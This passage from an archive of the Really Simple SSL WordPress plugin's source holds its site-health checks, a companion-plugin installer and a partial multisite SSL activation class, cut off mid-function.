                                        {confirmText && <Button isPrimary onClick={()=> confirmAction() }>{confirmText}</Button>}
                                    </>
                                    }
                                </div>

                            </div>
                        </Modal>
                    </ErrorBoundary>
                </>


            )}
        </>
    );
}

export default RssslModal;really-simple-ssl/class-site-health.php000064400000027110147510273070014154 0ustar00<?php defined( 'ABSPATH' ) or die();

if ( ! class_exists( 'rsssl_site_health' ) ) {
	class rsssl_site_health {
		private static $_this;
		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( 'you cannot create a second instance.' );
			}

			add_filter( 'site_status_tests', array( $this, 'health_check' ), 1, 10 );
			self::$_this = $this;
		}

		public static function this() {
			return self::$_this;
		}


		/**
		 * Add SSL dedicated health check
		 * @param array $tests
		 *
		 * @return array
		 */
		public function health_check( $tests ) {
			unset( $tests['async']['https_status'] );
			if ( ! rsssl_get_option( 'dismiss_all_notices' ) ) {
				$tests['direct']['rsssl_ssl_health'] = array(
					'label' => __( 'SSL Status Test', 'really-simple-ssl' ),
					'test'  => array( $this, 'ssl_tests' ),
				);

				$tests['direct']['headers_test'] = array(
					'label' => __( 'Security Headers Test', 'really-simple-ssl' ),
					'test'  => array( $this, 'headers_test' ),
				);

				unset( $tests['direct']['debug_enabled'] );
				if ( rsssl_is_debugging_enabled() && rsssl_debug_log_value_is_default() ) {
					$tests['direct']['rsssl_debug_log'] = array(
						'test' => array( $this, 'site_health_debug_log_test' ),
					);
				}

				if ( rsssl_get_option( 'enable_vulnerability_scanner' ) ) {
					$tests['direct']['rsssl_vulnerabilities'] = array(
						'label' => __( 'Vulnerability detection', 'really-simple-ssl' ),
						'test' => array( $this, 'vulnerabilities_test' ),
					);
				}

				// Two-Factor Authentication (2FA) test
				$tests['direct']['rsssl_2fa_test'] = array(
					'label' => __( 'Two-Factor Authentication', 'really-simple-ssl' ),
					'test'  => array( $this, 'two_factor_auth_test' ),
				);

				// Limit Login Attempts (LLA) test
				$tests['direct']['rsssl_lla_test'] = array(
					'label' => __( 'Limit Login Attempts Protection', 'really-simple-ssl' ),
					'test'  => array( $this, 'limit_login_attempts_test' ),
				);

				// Firewall Protection test
				$tests['direct']['rsssl_firewall_test'] = array(
					'label' => __( 'Firewall Protection', 'really-simple-ssl' ),
					'test'  => array( $this, 'firewall_test' ),
				);
			}

			return $tests;
		}

		/**
		 * Test for Two-Factor Authentication (2FA)
		 * @return array
		 */
		public function two_factor_auth_test() {
			$status = 'recommended';
			$description = __( 'We recommend to enable Two-Factor Authentication at least for administrators.', 'really-simple-ssl' );

			// Check if RSSSL 2FA, WordFence, Solid Security, AIOS are installed and 2FA is enabled
			if ( rsssl_get_option('login_protection_enabled') == '1' || is_plugin_active('wordfence/wordfence.php') || is_plugin_active('two-factor/two-factor.php') || is_plugin_active('all-in-one-wp-security-and-firewall/wp-security.php') || is_plugin_active('better-wp-security/better-wp-security.php')  ) {
				$status = 'good';
				$description = __( 'Your site is protected by Two-Factor Authentication (2FA).', 'really-simple-ssl' );
			}

			return array(
				'label' => __( 'Protect your user logins with Two-Factor Authentication (at least for Administrator accounts)', 'really-simple-ssl' ),
				'status' => $status,
				'badge' => array(
					'label' => __( 'Security', 'really-simple-ssl' ),
					'color' => 'blue',
				),
				'description' => sprintf( '<p>%s</p>', $description ),
				'actions' => sprintf(
					'<p><a href="%s" target="_blank">%s</a></p>',
					esc_url( admin_url( 'admin.php?page=really-simple-security#settings/two-fa' ) ),
					__( 'Read more', 'really-simple-ssl' )
				),
				'test' => 'rsssl_2fa_test',
			);
		}

		/**
		 * Test for Limit Login Attempts (LLA)
		 * @return array
		 */
		public function limit_login_attempts_test() {
			$status = 'recommended';
			$description = __( 'Enable Limit Login Attempts to protect the login form against brute-force attacks.', 'really-simple-ssl' );

			// Check if RSSSL LLA or Limit Login Attempts Reloaded is installed and active
			if ( rsssl_get_option('enable_limited_login_attempts') == '1' || is_plugin_active('wordfence/wordfence.php') || is_plugin_active('limit-login-attempts-reloaded/limit-login-attempts-reloaded.php') || is_plugin_active('better-wp-security/better-wp-security.php') ) {
				$status = 'good';
				$description = __( 'Your site is protected by Limit Login Attempts.', 'really-simple-ssl' );
			}

			return array(
				'label' => __( 'Protect your login form with Limit Login Attempts', 'really-simple-ssl' ),
				'status' => $status,
				'badge' => array(
					'label' => __( 'Security', 'really-simple-ssl' ),
					'color' => 'blue',
				),
				'description' => sprintf( '<p>%s</p>', $description ),
				'actions' => sprintf(
					'<p><a href="%s" target="_blank">%s</a></p>',
					esc_url( admin_url( 'admin.php?page=really-simple-security#settings/limit_login_attempts' ) ),
					__( 'Read more', 'really-simple-ssl' )
				),
				'test' => 'rsssl_lla_test',
			);
		}

		/**
		 * Test for Firewall Protection
		 * @return array
		 */
		public function firewall_test() {
			$status = 'recommended';
			$description = __( 'Secure your site with the performant Firewall.', 'really-simple-ssl' );

			// Check if WordFence, AIOS, or Solid Security is installed
			if ( rsssl_get_option('enable_firewall') || is_plugin_active('wordfence/wordfence.php') || is_plugin_active('all-in-one-wp-security-and-firewall/wp-security.php') || is_plugin_active('better-wp-security/better-wp-security.php') ) {
				$status = 'good';
				$description = __( 'Your site is protected by a firewall.', 'really-simple-ssl' );
			}

			return array(
				'label' => __( 'Secure your site with a Firewall', 'really-simple-ssl' ),
				'status' => $status,
				'badge' => array(
					'label' => __( 'Security', 'really-simple-ssl' ),
					'color' => 'blue',
				),
				'description' => sprintf( '<p>%s</p>', $description ),
				'actions' => sprintf(
					'<p><a href="%s" target="_blank">%s</a></p>',
					esc_url( admin_url( 'admin.php?page=really-simple-security#settings/firewall' ) ),
					__( 'Read more', 'really-simple-ssl' )
				),
				'test' => 'rsssl_firewall_test',
			);
		}

		/**
		 * Generate the WP_DEBUG notice
		 *
		 */
		public function site_health_debug_log_test() {
			$result = array(
				'label'       => __( 'Your site is set to log errors to a potentially public file' ), // phpcs:ignore WordPress.WP.I18n.MissingArgDomain
				'status'      => 'recommended',
				'badge'       => array(
					'label' => __( 'Security' ), // phpcs:ignore WordPress.WP.I18n.MissingArgDomain
					'color' => 'blue',
				),
				'description' => sprintf(
					'<p>%s</p>',
					__( 'The value, WP_DEBUG_LOG, has been added to this website’s configuration file. This means any errors on the site will be written to a file which is potentially available to all users.', 'really-simple-ssl' )
				),
				'actions'     => sprintf(
					'<p><a href="%s" target="_blank" rel="noopener noreferrer">%s <span class="screen-reader-text">%s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
					/* translators: Documentation explaining debugging in WordPress. */
					esc_url( rsssl_admin_url([], '#settings/hardening') ),
					__( 'Remove from public location with Really Simple Security', 'really-simple-ssl' ),
					/* translators: Accessibility text. */
					__( '(opens in a new tab)' )// phpcs:ignore WordPress.WP.I18n.MissingArgDomain
				),
				'test'        => 'rsssl_debug_log',
			);

			return $result;
		}

		/**
		 * Test to check if the recommended security headers are present
		 * @return array
		 */

		public function headers_test() {
			$result = array(
				'label'       => __( 'Essential security headers installed', 'really-simple-ssl' ),
				'status'      => 'good',
				'badge'       => array(
					'label' => __( 'Security' ), // phpcs:ignore WordPress.WP.I18n.MissingArgDomain
					'color' => 'blue',
				),
				'description' => sprintf(
					'<p>%s</p>',
					__( 'The essential security headers are detected on your site.', 'really-simple-ssl' )
				),
				'actions'     => '',
				'test'        => 'headers_test',
			);

			//returns empty for sites without .htaccess, or if all headers are already in use
			$recommended_headers = RSSSL()->admin->get_recommended_security_headers();
			if ( ! empty( $recommended_headers ) ) {
				$style                 = '<style>.rsssl-sec-headers-list li {list-style-type:disc;margin-left:20px;}</style>';
				$list                  = '<ul class="rsssl-sec-headers-list"><li>' . implode( '</li><li>', $recommended_headers ) . '</li></ul>';
				$result['status']      = 'recommended';
				$result['label']       = __( 'Not all essential security headers are installed', 'really-simple-ssl' );
				$result['description'] = sprintf( '<p>%s</p>', __( 'Your website does not send all essential security headers.', 'really-simple-ssl' ) . $style . $list );
				$result['actions']     = sprintf(
					'<p><a href="%s" target="_blank" rel="noopener noreferrer">%s</a></p>',
					rsssl_link('site-health-recommended-security-headers/'),
					__( 'Read more', 'really-simple-ssl' )
				);
			}

			return $result;
		}

		/**
		 * Some basic SSL health checks
		 * @return array
		 */
		public function ssl_tests() {
			$url = rsssl_admin_url();

			$result = array(
				'label'       => __( '301 SSL redirect enabled', 'really-simple-ssl' ),
				'status'      => 'good',
				'badge'       => array(
					'label' => __( 'Security' ), // phpcs:ignore WordPress.WP.I18n.MissingArgDomain
					'color' => 'blue',
				),
				'description' => sprintf(
					'<p>%s</p>',
					__( 'You have set a 301 redirect to SSL. This is important for SEO purposes', 'really-simple-ssl' )
				),
				'actions'     => '',
				'test'        => 'rsssl_ssl_health',
			);

			if ( ! rsssl_get_option( 'ssl_enabled' ) ) {
				if ( rsssl_get_option( 'site_has_ssl' ) ) {
					$result['status']      = 'recommended';
					$result['label']       = __( 'SSL is not enabled.', 'really-simple-ssl' );
					$result['description'] = sprintf(
						'<p>%s</p>',
						__(
							'Really Simple Security detected an SSL certificate, but has not been configured to enforce SSL.',
							'really-simple-ssl'
						)
					);
					$result['actions']    .= sprintf(
						'<p><a href="%s">%s</a></p>',
						$url,
						__( 'Activate SSL', 'really-simple-ssl' )
					);
				} else {
					$result['status']      = 'recommended';
					$result['label']       = __( 'No SSL detected', 'really-simple-ssl' );
					$result['description'] = sprintf(
						'<p>%s</p>',
						__( 'Really Simple Security is installed, but no valid SSL certificate is detected.', 'really-simple-ssl' )
					);
				}
			} else {
				if ( ! RSSSL()->admin->has_301_redirect() ) {
					$result['status']      = 'recommended';
					$result['label']       = __( 'No 301 redirect to SSL enabled.', 'really-simple-ssl' );
					$result['description'] = sprintf(
						'<p>%s</p>',
						__( 'To ensure all traffic passes through SSL, please enable a 301 redirect.', 'really-simple-ssl' )
					);
					$result['actions']    .= sprintf(
						'<p><a href="%s">%s</a></p>',
						$url,
						__( 'Enable 301 redirect', 'really-simple-ssl' )
					);
				} elseif ( RSSSL()->server->uses_htaccess() && rsssl_get_option( 'redirect' ) !== 'htaccess' ) {
					$result['status']      = 'recommended';
					$result['label']       = __( '301 .htaccess redirect is not enabled.', 'really-simple-ssl' );
					$result['description'] = sprintf(
						'<p>%s</p>',
						__( 'The 301 .htaccess redirect is the fastest and most reliable redirect option.', 'really-simple-ssl' )
					);
					$result['actions']    .= sprintf(
						'<p><a href="%s">%s</a></p>',
						$url,
						__( 'Enable 301 .htaccess redirect', 'really-simple-ssl' )
					);
				}
			}
			return $result;
		}
	}
}
really-simple-ssl/class-installer.php000064400000010633147510273070013744 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! function_exists( 'is_plugin_active' ) ) {
	include_once ABSPATH . 'wp-admin/includes/plugin.php';
}
/**
 * Install suggested plugins
 */

if ( ! class_exists( 'rsssl_installer' ) ) {
	class rsssl_installer {
		private $slug = '';
		public function __construct( $slug ) {
			if ( ! current_user_can( 'install_plugins' ) ) {
				return;
			}

			$this->slug = $slug;
		}

		/**
		 * Check if plugin is downloaded
		 * @return bool
		 */

		public function plugin_is_downloaded() {
			return file_exists( trailingslashit( WP_PLUGIN_DIR ) . $this->get_activation_slug() );
		}
		/**
		 * Check if plugin is activated
		 * @return bool
		 */
		public function plugin_is_activated() {
			return is_plugin_active( $this->get_activation_slug() );
		}

		/**
		 * Install plugin
		 * @param string $step
		 *
		 * @return void
		 */
		public function install( $step ) {
			if ( ! current_user_can( 'install_plugins' ) ) {
				return;
			}

			if ( 'download' === $step ) {
				$this->download_plugin();
			}
			if ( 'activate' === $step ) {
				$this->activate_plugin();
			}
		}

		/**
		 * Get slug to activate plugin with
		 * @return string
		 */
		public function get_activation_slug() {
			$slugs = [
				'burst-statistics'           => 'burst-statistics/burst.php',
				'complianz-gdpr'             => 'complianz-gdpr/complianz-gpdr.php',
				'complianz-terms-conditions' => 'complianz-terms-conditions/complianz-terms-conditions.php',
			];
			return $slugs[ $this->slug ];
		}

		/**
		 * Cancel shepherd tour
		 * @return void
		 */
		public function cancel_tour() {
			$prefixes = [
				'burst-statistics'           => 'burst',
				'complianz-gdpr'             => 'cmplz',
				'complianz-terms-conditions' => 'cmplz_tc',
			];
			$prefix   = $prefixes[ $this->slug ];
			update_site_option( $prefix . '_tour_started', false );
			update_site_option( $prefix . '_tour_shown_once', true );
			delete_transient( $prefix . '_redirect_to_settings' );
			delete_transient( $prefix . '_redirect_to_settings_page' );
		}

		/**
		 * Download the plugin
		 * @return bool
		 */
		public function download_plugin() {
			if ( ! current_user_can( 'install_plugins' ) ) {
				return false;
			}

			if ( get_transient( 'rsssl_plugin_download_active' ) !== $this->slug ) {
				set_transient( 'rsssl_plugin_download_active', $this->slug, MINUTE_IN_SECONDS );
				$info = $this->get_plugin_info();

				$download_link = esc_url_raw( $info->versions['trunk'] );

				require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
				require_once ABSPATH . 'wp-admin/includes/file.php';
				include_once ABSPATH . 'wp-admin/includes/plugin-install.php';

				if ( ! is_writable( WP_PLUGIN_DIR ) ) {
					return false;
				}

				$skin     = new WP_Ajax_Upgrader_Skin();
				$upgrader = new Plugin_Upgrader( $skin );

				$result = $upgrader->install( $download_link );

				if ( is_wp_error( $result ) ) {
					return false;
				}

				delete_transient( 'rsssl_plugin_download_active' );
			}

			return true;
		}

		/**
		 * Activate the plugin
		 *
		 * @return bool
		 */
		public function activate_plugin() {
			if ( ! current_user_can( 'install_plugins' ) ) {
				return false;
			}

			$slug             = $this->get_activation_slug();
			$plugin_file_path = trailingslashit( WP_PLUGIN_DIR ) . $slug;

			// Make sure the plugin file exists before trying to activate it
			if ( ! file_exists( $plugin_file_path ) ) {
				return false;
			}

			// Use plugin_basename to generate the correct slug, considering the WP_PLUGIN_DIR
			$plugin_slug = plugin_basename( $plugin_file_path );

			$networkwide = is_multisite() && rsssl_is_networkwide_active();

			if ( ! defined( 'DOING_CRON' ) ) {
				define( 'DOING_CRON', true );//phpcs:ignore
			}

			$result = activate_plugin( $plugin_slug, '', $networkwide );
			if ( is_wp_error( $result ) ) {
				return false;
			}

			$this->cancel_tour();
			return true;
		}


		/**
		 * Get plugin info
		 * @return array|WP_Error
		 */
		public function get_plugin_info() {
			require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
			$plugin_info = get_transient( 'rsssl_' . $this->slug . '_plugin_info' );
			if ( empty( $plugin_info ) ) {
				$plugin_info = plugins_api( 'plugin_information', array( 'slug' => $this->slug ) );
				if ( ! is_wp_error( $plugin_info ) ) {
					set_transient( 'rsssl_' . $this->slug . '_plugin_info', $plugin_info, WEEK_IN_SECONDS );
				}
			}
			return $plugin_info;
		}
	}

}
really-simple-ssl/class-multisite.php000064400000051575147510273070014000 0ustar00<?php defined('ABSPATH') or die();

if (!class_exists('rsssl_multisite')) {
    class rsssl_multisite
    {
        private static $_this;

        function __construct()
        {

            if (isset(self::$_this))
                wp_die();

            self::$_this = $this;

            register_activation_hook( __DIR__ . "/" . rsssl_plugin, array($this, 'activate'));
	        add_action( 'network_admin_menu', array( $this, 'add_multisite_menu' ) );
            /*filters to make sure WordPress returns the correct protocol */
            add_filter("admin_url", array($this, "check_admin_protocol"), 20, 3);
            add_filter('home_url', array($this, 'check_site_protocol'), 20, 4);
            add_filter('site_url', array($this, 'check_site_protocol'), 20, 4);
	        add_action('plugins_loaded', array($this, 'maybe_redirect_old_settings_url'), 10);

	        if ( is_network_admin() ) {
                add_action('network_admin_notices', array($this, 'show_notices'), 10);
            }

            //If WP version is 5.1 or higher, use wp_insert_site hook for multisite SSL activation in new blogs
            if( version_compare(get_bloginfo('version'),'5.1', '>=') ) {
                add_action('wp_initialize_site', array($this, 'maybe_activate_ssl_in_new_blog'), 20, 1);
            } else {
                add_action('wpmu_new_blog', array($this, 'maybe_activate_ssl_in_new_blog_deprecated'), 10, 6);
            }

	        add_filter('rsssl_notices', array($this, 'add_multisite_notices'));
        }

        static function this()
        {
            return self::$_this;
        }

	    /**
	     * Redirect to the new settings page
	     *
	     * @return void
	     */
	    public function maybe_redirect_old_settings_url(){
		    if ( !rsssl_user_can_manage() || !is_network_admin() ) {
			    return;
		    }
		    if ( isset($_GET['page']) && $_GET['page'] === 'rlrsssl_really_simple_ssl' ){
			    wp_redirect(add_query_arg(['page' => 'really-simple-security'], network_admin_url('settings.php') ) );
			    exit;
		    }
	    }

	    /**
	     * Add notices to the dashboard
	     * @param array $notices
	     *
	     * @return array
	     */
        public function add_multisite_notices( array $notices): array {
            $unset_array = array(
                'mixed_content_fixer_detected',
                'elementor',
                'divi',
            );

            foreach ( $unset_array as $unset_item ) {
                unset( $notices[$unset_item] );
            }
	        $notices['ssl_enabled'] = array(
		        'callback' => 'rsssl_ssl_enabled',
		        'score' => 30,
		        'output' => array(
			        'true' => array(
				        'msg' =>__('SSL is enabled networkwide.', 'really-simple-ssl'),
				        'icon' => 'success'
			        ),
			        'false' => array(
				        'msg' => __('SSL is not enabled on your network', 'really-simple-ssl'),
				        'icon' => 'open',
				        'plusone' => true,
			        ),
		        ),
	        );

	        $notices['multisite_server_variable_warning'] = array(
		        'condition' => array('rsssl_ssl_enabled'),
		        'callback' => 'RSSSL()->multisite->multisite_server_variable_warning',
		        'score' => 30,
		        'output' => array(
			        'no-server-variable' => array(
				        'msg' => __('You run a Multisite installation with subfolders, which prevents this plugin from fixing your missing server variable in the wp-config.php.', 'really-simple-ssl') . " "
                                .__('Because the $_SERVER["HTTPS"] variable is not set, your website may experience redirect loops.', 'really-simple-ssl') . " "
                                .__('Activate networkwide to fix this.', 'really-simple-ssl'),
				        'icon' => 'warning',
				        'plusone' => true,
			        ),
		        ),
	        );

	        $notices['activation_not_completed'] = array(
		        'callback' => 'RSSSL()->multisite->ssl_activation_started_but_not_completed',
		        'score' => 30,
		        'output' => array(
			        'true' => array(
				        'title' => __("SSL activation in progress", "really-simple-ssl"),
				        'msg' => __('A networkwide SSL activation process has been started, but has not been completed. Please go to the SSL settings page to complete the process.', 'really-simple-ssl').'&nbsp;'.
				                 '<a href="'.add_query_arg(['page'=>'really-simple-security'], network_admin_url('settings.php') ).'">'.__('View settings page','really-simple-ssl').'</a>',
				        'icon' => 'warning',
				        'plusone' => true,
				        'admin_notice' => true,
			        ),
		        ),
	        );

	        $notices['subdomains_no_wildcard'] = array(
		        'condition' => array('rsssl_ssl_enabled'),
		        'callback' => 'RSSSL()->multisite->subdomains_no_wildcard',
		        'score' => 30,
		        'output' => array(
			        'subdomains-no-wildcard' => array(
				        'msg' => __("You run a Multisite installation with subdomains, but your site doesn't have a wildcard certificate.", 'really-simple-ssl') . " "
				                 . __("This leads to issues when activating SSL networkwide since subdomains will be forced over SSL as well while they don't have a valid certificate.", 'really-simple-ssl') . " "
				                 . __("Activate SSL per site or install a wildcard certificate to fix this.", 'really-simple-ssl'),
				        'icon' => 'warning',
				        'dismissible' => true,
				        'plusone' => true,
			        ),
		        ),
	        );

            return $notices;
        }

	    /**
         * Check if site has a server var issue.
	     * @return string
	     */

        public function multisite_server_variable_warning(){
	        if (!function_exists('is_plugin_active_for_network'))
		        require_once(ABSPATH . '/wp-admin/includes/plugin.php');

	        if ( is_multisite() && !is_plugin_active_for_network(rsssl_plugin) && $this->is_multisite_subfolder_install() ) {
		        //with no server variables, the website could get into a redirect loop.
		        if (RSSSL()->admin->no_server_variable) {
                    return 'no-server-variable';
		        }
	        }
	        return 'success';
        }

	    /**
         * Check if we have a subdomains setup, but no wildcard
	     * @return string
	     */

	    public function subdomains_no_wildcard(){
		    if ( get_site_option('rsssl_network_activation_status' !== 'completed') && !$this->is_multisite_subfolder_install() && !RSSSL()->certificate->is_wildcard() ) {
                return 'subdomains-no-wildcard';
		    }
		    return 'success';
	    }

	    /**
         * When a new site is added, maybe activate SSL as well.
         *
	     * @param int  $blog_id
	     * @param bool $user_id
	     * @param bool $domain
	     * @param bool $path
	     * @param bool $site_id
	     * @param bool $meta
	     */

        public function maybe_activate_ssl_in_new_blog_deprecated( int $blog_id, $user_id=false, $domain=false, $path=false, $site_id=false, $meta=false)
        {

	        if ( get_site_option('rsssl_network_activation_status' === 'completed') ) {
                $site = get_blog_details($blog_id);
	            switch_to_blog($site->blog_id);
                RSSSL()->admin->activate_ssl(false);
                restore_current_blog();
            }
        }

        /**
         * Activate SSl in new block
         * @since 3.1.6
         * @param $site
         * @return void
         */

        public function maybe_activate_ssl_in_new_blog($site)
        {
            if ( get_site_option('rsssl_network_activation_status' === 'completed') ) {
	            switch_to_blog($site->blog_id);
                RSSSL()->admin->activate_ssl(false);
                restore_current_blog();
            }
        }

        /**
            Add network menu for SSL
            Only when plugin is network activated.
        */

	    public function add_multisite_menu() {
		    if ( ! is_multisite() || ! rsssl_is_networkwide_active() ) {
			    return;
		    }

		    if ( ! rsssl_user_can_manage() ) {
			    return;
		    }

		    $count = RSSSL()->admin->count_plusones();
		    $update_count = $count > 0 ? "<span class='update-plugins rsssl-update-count'><span class='update-count'>$count</span></span>" : "";

		    $icon_svg = '<?xml version="1.0" encoding="UTF-8"?>
<svg id="rss-menu-logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 -15 100 130" width="28" height="28">
    <defs>
        <style>.cls-1{fill:#fff;stroke-width:0px;}</style>
    </defs>
    <g fill="none" stroke-width="2">
        <path class="cls-1" d="M72.92,26.6h-13v-9.4c0-7.6-6.1-13.7-13.7-13.7s-13.8,6.1-13.8,13.7v9.4h-13.1v-9.4C19.32,2.4,31.32,-9.6,46.12,-9.6s26.8,12,26.8,26.8v9.4h0Z"/>
        <rect class="cls-1" x="10.02" y="84.6" width="72.3" height="5.6"/>
        <path class="cls-1" d="M82.32,82H10.02V31.8c0-2.9,2.3-5.2,5.2-5.2h61.9c2.9,0,5.2,2.3,5.2,5.2V82h0ZM64.62,37.8c-2.2-2.2-5.9-2.2-8.2,0l-15.7,15.3l-4.9-4.9c-2.2-2.2-5.9-2.2-8.2,0l-1.9,1.9c-2.2,2.2-2.2,5.9,0,8.2l8.5,8.5c0.1,0.2,0.3,0.4,0.5,0.6l1.9,1.9l4.2,4l3.5-3.5c0.2-0.1,0.4-0.3,0.6-0.5l1.9-1.9c0.2-0.2,0.4-0.4,0.5-0.6l19.1-18.9c2.2-2.2,2.2-5.9,0-8.2l-1.8-1.9Z"/>
    </g>
</svg>';

		    $icon_base64 = 'data:image/svg+xml;base64,' . base64_encode($icon_svg);

		    $page_hook_suffix = add_menu_page(
			    __( "Security", "really-simple-ssl" ),
			    __( "Security", "really-simple-ssl" ) . $update_count,
			    'manage_security',
			    'really-simple-security',
			    'rsssl_settings_page',
			    $icon_base64,
			    100 // This will place it near the bottom of the menu
		    );

		    add_action( "admin_print_scripts-{$page_hook_suffix}", 'rsssl_plugin_admin_scripts' );
		    // Update the page title to prevent issues with an empty title causing strip_tags deprecation warnings
		    add_action("load-{$page_hook_suffix}", 'rsssl_set_admin_page_title');
		    add_action('admin_head', 'rsssl_override_wordpress_svg_size');

	    }

	    /**
	     * Check if an SSL process is active
	     * @return bool
	     */
        public function ssl_process_active(){
            if ( get_site_option('rsssl_ssl_activation_active') ){
                return true;
            }
            return false;
        }

	    /**
	     * Run SSL upgrade process
	     *
	     * @return void
	     */
        public function run_ssl_process(){
            if ( get_site_option('rsssl_ssl_activation_active') ){
                $this->activate_ssl_networkwide();
            }
            update_site_option('rsssl_run', false);
        }

	    /**
	     * @param WP_REST_Request $request
	     *
	     * @return array
	     */
		public function process_ssl_activation_step(){
			if ( !$this->ssl_process_active() ) {
				$this->start_ssl_activation();
			}
			$this->run_ssl_process();
			$progress = $this->get_process_completed_percentage();
			return [
				'progress' => $progress,
				'success' => true
			];
		}

	    /**
	     * Get SSL process completed percentage
	     * @return int
	     */
        public function get_process_completed_percentage(){
			if ( get_site_option('rsssl_network_activation_status') === 'completed' ) {
				return 100;
			}
            $complete_count = get_site_option('rsssl_siteprocessing_progress');
			$blog_count = $this->get_total_blog_count();
	        $blog_count = $blog_count !== 0 ? $blog_count : 1; //prevent division by zero
            $percentage = round(( $complete_count/$blog_count )*100,0);
            if ( $percentage > 99 ) {
				$percentage = 100;
            }

            return (int) $percentage;
        }

	    /**
	     * Check if website has started activation, but didn't completed
	     * @return bool
	     */
		public function ssl_activation_started_but_not_completed(){
			if ( !get_option('rsssl_network_activation_status') ) {
				return false;
			}
			return get_option('rsssl_network_activation_status')!=='completed';
        }

	    /**
	     * Start SSL activation
	     *
	     * @return void
	     */
        public function start_ssl_activation(){
	        if (!rsssl_user_can_manage()) {
		        return;
	        }
            update_site_option('rsssl_siteprocessing_progress', 0);
            update_site_option('rsssl_ssl_activation_active', true);
        }

	    /**
	     * End SSL activation
	     *
	     * @return void
	     */
        public function end_ssl_activation(){
	        if (!rsssl_user_can_manage()) {
		        return;
	        }
            update_site_option('rsssl_ssl_activation_active', false);
        }

	    /**
	     * Activate SSL network wide
	     */

        public function activate_ssl_networkwide()
        {
	        if (!rsssl_user_can_manage()) {
		        return;
	        }
            //run chunked
            $nr_of_sites = 200;
            $current_offset = get_site_option('rsssl_siteprocessing_progress');
            //set batch of sites
	        $args = array(
		        'number' => $nr_of_sites,
		        'offset' => $current_offset,
                'meta_query' => [
			        'relation' => 'or',
			        [
				        'key'   => 'rsssl_ssl_activated',
				        'compare' => 'NOT EXISTS'
			        ],
			        [
				        'key'   => 'rsssl_ssl_activated',
				        'value' => false,
				        'compare' => '=',
			        ],
		        ]
	        );

	        $sites = get_sites($args);
            //if no sites are found, we assume we're done.
            if ( count($sites)==0 ) {
                $this->end_ssl_activation();
	            update_site_option('rsssl_network_activation_status', 'completed');
            } else {
                foreach ($sites as $site) {
	                switch_to_blog($site->blog_id);
	                update_site_meta($site->blog_id, 'rsssl_ssl_activated', true );
                    RSSSL()->admin->activate_ssl(false);
                    restore_current_blog(); //switches back to previous blog, not current, so we have to do it each loop
                    update_site_option('rsssl_siteprocessing_progress', $current_offset+$nr_of_sites);
                }
            }
        }

	    /**
	     * Deactivate SSL on all subsites
	     *
	     * @return void
	     */

        public function deactivate()
        {
	        if (!rsssl_user_can_manage()) {
		        return;
	        }
			$ssl_was_enabled = rsssl_get_option('ssl_enabled');
	        delete_site_option('rsssl_network_activation_status');
	        rsssl_update_option('ssl_enabled', false);
			//main site first
	        $site_id = get_main_site_id();
			switch_to_blog($site_id);
			RSSSL()->admin->deactivate_site($ssl_was_enabled);
	        restore_current_blog();

	        //because the deactivation should be a one click procedure, chunking this would cause difficulties
	        $args = array(
		        'number' => $this->get_total_blog_count(),
		        'offset' => 0,
	        );
	        $sites = get_sites($args);
            foreach ($sites as $site) {
	            switch_to_blog($site->blog_id);
	            update_site_meta($site->blog_id, 'rsssl_ssl_activated', false );
				//we already did the main site
				if ( !is_main_site() ) {
					RSSSL()->admin->deactivate_site($ssl_was_enabled);
				}
                restore_current_blog();
            }
        }

        /**
         * filters the get_admin_url function to correct the false https urls wordpress returns for non SSL websites.
         *
         * @since 2.3.10
         *
         */

        public function check_admin_protocol($url, $path, $blog_id)
        {
            if ( !$blog_id ) $blog_id = get_current_blog_id();

            //if the force_ssl_admin is defined, the admin_url should not be forced back to http: all admin panels should be https.
            if (defined('FORCE_SSL_ADMIN')) return $url;

            //do not force to http if the request is made for an url of the current blog.
            //if a site is loaded over https, it should return https links, unless the url is requested for another blog.
            //In that case, we only return a https link if the site_url is https, and http otherwise.
            if (get_current_blog_id() == $blog_id) return $url;

            //now check if the blog is http or https, and change the url accordingly
	        if (!function_exists('is_plugin_active_for_network'))
		        require_once(ABSPATH . '/wp-admin/includes/plugin.php');

            if ( !is_plugin_active_for_network(rsssl_plugin) ) {
                $home_url = get_blog_option($blog_id, 'home');
                if (strpos($home_url, "https://") === false) {
                    $url = str_replace("https://", "http://", $url);
                }
            }

            return $url;
        }

        /**
         * filters the home_url and/or site_url function to correct the false https urls wordpress returns for non SSL websites.
         *
         * @since 2.3.17
         *
         */

        public function check_site_protocol($url, $path, $orig_scheme, $blog_id)
        {
            if ( !$blog_id ) {
				$blog_id = get_current_blog_id();
            }

            if (get_current_blog_id() == $blog_id) return $url;

	        if (!function_exists('is_plugin_active_for_network'))
		        require_once(ABSPATH . '/wp-admin/includes/plugin.php');

	        if ( !is_plugin_active_for_network(rsssl_plugin) ) {
				$home_url = get_blog_option($blog_id, 'home');
                if (strpos($home_url, "https://") === false) {
                    $url = str_replace("https://", "http://", $url);
                }
            }
            return $url;
        }


        /**
         * Checks if we are on a subfolder install. (domain.com/site1 )
         *
         * @since  2.2
         *
         * @access public
         *
         **/

        public function is_multisite_subfolder_install()
        {
            if ( !is_multisite() ) {
                return false;
            }
            //we check this manually, as the SUBDOMAIN_INSTALL constant of wordpress might return false for domain mapping configs
            $is_subfolder = false;
	        $args = array(
		        'number' => 5,
		        'offset' => 0,
	        );
	        $sites = get_sites($args);
            foreach ($sites as $site) {
	            switch_to_blog($site->blog_id);
				if ($this->is_subfolder(home_url())) {
                    $is_subfolder = true;
                }
                restore_current_blog(); //switches back to previous blog, not current, so we have to do it each loop
                if ($is_subfolder) return true;
            }

            return false;
        }

        /**
         * Test if a domain has a subfolder structure
         *
         * @param string $domain
         *
         * @access public
         *
         * @return bool
         * @since  2.2
         *
         */

        public function is_subfolder(string $domain): bool {
            //remove slashes of the http(s)
            $domain = preg_replace("/(http:\/\/|https:\/\/)/", "", $domain);
	        return strpos( $domain, "/" ) !== false;
        }

        /**
         * Show notices
         *
         * @since  2.0
         *
         * @access public
         *
         */

        public function show_notices()
        {
			if ( !rsssl_user_can_manage() ) {
				return;
			}

            //prevent showing the review on edit screen, as gutenberg removes the class which makes it editable.
            $screen = get_current_screen();
	        if ( $screen && $screen->base === 'post' ) {
				return;
	        }

	        if ( !$this->is_settings_page() ) {
